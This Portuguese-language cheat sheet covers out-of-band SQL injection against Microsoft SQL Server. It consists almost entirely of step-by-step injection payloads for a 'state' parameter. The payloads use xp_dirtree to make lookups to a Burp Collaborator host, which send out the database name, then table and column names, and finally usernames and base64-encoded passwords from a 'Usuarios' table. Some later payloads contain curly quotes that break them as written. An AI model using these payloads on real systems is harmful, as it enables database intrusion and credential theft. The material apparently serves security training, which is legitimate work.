OOB SQL Injection

Microsoft SQL Server - Cheat Sheet

OOB SQLi - Microsoft SQL Server

Vamos supor que verificamos uma interação externa / out-of-band após injetarmos o payload abaixo no parametro state=4. Assim sendo, podemos agora repetir o ataque, mas adicionando uma query SQL de forma a que consigamos obter o respectivo resultado através da requisição DNS / HTTP.

```
state=4;declare @data varchar(99);
set @data='teste';
EXEC('master.dbo.xp_dirtree "\\'+@data+'.dasudadiuashdaus.burpcollaborator.net\foo$"');
```

OOB SQLi - Microsoft SQL Server

Descobrir Nome do Banco de Dados

Descobrir nome do banco de dados da aplicação vulnerável.

```
state=4;declare @data varchar(1024);
set @data=(SELECT DB_NAME());
EXEC('master.dbo.xp_dirtree "\\'+@data+'.dasudadiuashdaus.burpcollaborator.net\foo$"');
```

OOB SQLi - Microsoft SQL Server

Descobrir Nome Tabelas do Banco de Dados

Obter o nome da 1ª tabela do banco de dados “UdemyDatabase”.

```
state=4;use UdemyDatabase;
declare @data varchar(1024);
set @data=(SELECT TOP 1 SUBSTRING(TABLE_NAME,1,9) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_CATALOG='UdemyDatabase' ORDER BY TABLE_NAME OFFSET 1 ROWS FETCH NEXT 1 ROW ONLY);
EXEC(‘master.dbo.xp_dirtree “\\’+@data+’.dasudadiuashdaus.burpcollaborator.net\foo$””);
```

Obter o nome da 2ª tabela do banco de dados “UdemyDatabase”.

```
state=4;use UdemyDatabase;
declare @data varchar(1024);
set @data=(SELECT TOP 1 SUBSTRING(TABLE_NAME,1,9) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_CATALOG='UdemyDatabase' ORDER BY TABLE_NAME OFFSET 2 ROWS FETCH NEXT 1 ROW ONLY);
EXEC(‘master.dbo.xp_dirtree “\\’+@data+’.dasudadiuashdaus.burpcollaborator.net\foo$””);
```

OOB SQLi - Microsoft SQL Server

Descobrir Nome das Colunas da Tabela “Usuarios” do Banco de Dados

Obter o nome da 1ª coluna da tabela “Usuarios” do banco de dados “UdemyDatabase”.

```
state=4;use UdemyDatabase;
declare @data varchar(1024);
set @data=(SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'Usuarios' ORDER BY COLUMN_NAME OFFSET 1 ROWS FETCH NEXT 1 ROW ONLY);
EXEC(‘master.dbo.xp_dirtree “\\’+@data+’.dasudadiuashdaus.burpcollaborator.net\foo$””);
```

Obter o nome da 2ª coluna da tabela “Usuarios” do banco de dados “UdemyDatabase”.

```
state=4;use UdemyDatabase;
declare @data varchar(1024);
set @data=(SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'Usuarios' ORDER BY COLUMN_NAME OFFSET 2 ROWS FETCH NEXT 1 ROW ONLY);
EXEC(‘master.dbo.xp_dirtree “\\’+@data+’.dasudadiuashdaus.burpcollaborator.net\foo$””);
```

OOB SQLi - Microsoft SQL Server

Extrair as Colunas “username” e “password” da Tabela “Usuarios” do Banco de Dados

Extrair username e password (em base64) do 1ºregisto da tabela Usuarios, separados por um ponto. Para extrair o username e password do 2º, 3º, etc, registo da tabela Usuarios, basta repetir a injeção com o Offset abaixo destacado alterado, como por exemplo, OFFSET=1 ou OFFSET 2 ou OFFSET 3, etc..

```
state=4;use UdemyDatabase;
declare @user varchar(MAX);
declare @password varchar(MAX);
set @user = (SELECT Username FROM Usuarios ORDER BY Username OFFSET 0 ROWS FETCH NEXT 1 ROW ONLY);
set @password = (SELECT Password FROM Usuarios WHERE Username = @user);
set @password = (SELECT cast(@password AS varbinary(MAX)) FOR XML path(''), BINARY BASE64);
EXEC('master.dbo.xp_dirtree
"\\'+@user+'.'+@password+'.qgayrxi1xmek8snh711urugxiooec3.burpcollaborator.net\foo$"');
```